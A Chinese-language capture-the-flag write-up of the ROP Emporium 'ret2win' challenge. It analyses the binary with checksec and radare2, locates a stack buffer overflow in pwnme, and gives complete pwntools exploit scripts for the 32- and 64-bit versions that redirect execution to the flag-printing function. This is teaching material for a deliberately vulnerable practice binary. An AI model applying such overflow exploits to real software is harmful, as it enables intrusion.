Challenge1_ret2win

ret2win

题目链接:https://ropemporium.com/challenge/ret2win.html

x86

首先检查下程序保护情况,(根据提示,此系列均开启了NX保护,主要来锻炼ROP技术)

1
2
3
4
5
6
7
$ checksec ret2win32
[*]'/home/giantbranch/Desktop/rop_emporium_all_challenges/level1_ret2win/32/ret2win32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

接着检查下程序反编译后的伪代码,查看函数大致功能,这里使用它推荐的工具radare2

首先使用以下命令加载分析目标程序:

1
2
3
4
5
6
7
8
9
10
11
$ r2 -A ./ret2win
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Use -AA or aaaa to perform additional experimental analysis
-- Do you want to print 333.5K chars? (y/N)
[0x08048430]>

接着使用afl指令来查看程序中存在的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[0x08048430]> afl
0x08048430 1 50 entry0
0x08048463 1 4 fcn.08048463
0x080483f0 1 6 sym.imp.__libc_start_main
0x08048490 4 41 sym.deregister_tm_clones
0x080484d0 4 54 sym.register_tm_clones
0x08048510 3 31 sym.__do_global_dtors_aux
0x08048540 1 6 sym.frame_dummy
0x080485ad 1 127 sym.pwnme
0x08048410 1 6 sym.imp.memset
0x080483d0 1 6 sym.imp.puts
0x080483c0 1 6 sym.imp.printf
0x080483b0 1 6 sym.imp.read
0x0804862c 1 41 sym.ret2win
0x080483e0 1 6 sym.imp.system
0x080486c0 1 2 sym.__libc_csu_fini
0x08048480 1 4 sym.__x86.get_pc_thunk.bx
0x080486c4 1 20 sym._fini
0x08048660 4 93 sym.__libc_csu_init
0x08048470 1 2 sym._dl_relocate_static_pie
0x08048546 1 103 main
0x08048400 1 6 sym.imp.setvbuf
0x08048374 3 35 sym._init
0x08048420 1 6 sym..plt.got

我们可以看到,几个名字比较关键的函数:pwnmeret2winmain

我们首先进入main函数看下主函数大致流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[0x08048430]> s main
[0x08048546]> pdg

// WARNING: Variable defined which should be unmapped: var_4h

uint main(void)

{
uint var_4h;

sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
sym.imp.puts("ret2win by ROP Emporium");
sym.imp.puts("x86\n");
sym.pwnme();
sym.imp.puts("\nExiting");
return 0;
}

可以看到,main函数调用了pwnme函数后就返回了,我们接下来进入到pwnme函数中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[0x08048546]> s sym.pwnme
[0x080485ad]> pdg

void sym.pwnme(void)

{
uint s;

sym.imp.memset(&s, 0, 0x20);
sym.imp.puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
sym.imp.puts("What could possibly go wrong?");
sym.imp.puts("You there, may I have your input please? And don\'t worry about null bytes, we\'re using read()!\n");
sym.imp.printf(0x80487e8);
sym.imp.read(0, &s, 0x38);
sym.imp.puts("Thank you!");
return;
}

我们从上边的伪代码中可以看到,read函数处存在明显的栈溢出漏洞。read函数接收0x38(56字节)的数据来填充到0x20(32字节)的缓冲区。

我们再看一下ret2win函数。

1
2
3
4
5
6
7
8
9
10
[0x080485ad]> s sym.ret2win
[0x0804862c]> pdg

void sym.ret2win(void)

{
sym.imp.puts("Well done! Here\'s your flag:");
sym.imp.system("/bin/cat flag.txt");
return;
}

可以看到,ret2win函数的功能跟它的名字一样,打印出flag,取得胜利,win!

到这里我们的思路就有了:

使用cyclic计算偏移量(略去过程),构造payload,将返回地址覆盖为ret2win函数的地址即可得到flag!

image-20230313152211147

完整的exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = process('./ret2win32')

offset = 44

ret2win_addr = 0x0804862c

payload = offset*b'A' + p32(ret2win_addr)

p.sendline(payload)
p.interactive()

x64

64位跟32位情况相似,只是偏移量跟返回地址不同,不再详细赘述。

完整exploit代码如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = process('./ret2win64')

offset = 40
ret2win_addr = 0x0000000000400756
payload = offset*b'A' + p64(ret2win_addr)

p.sendline(payload)
p.interactive()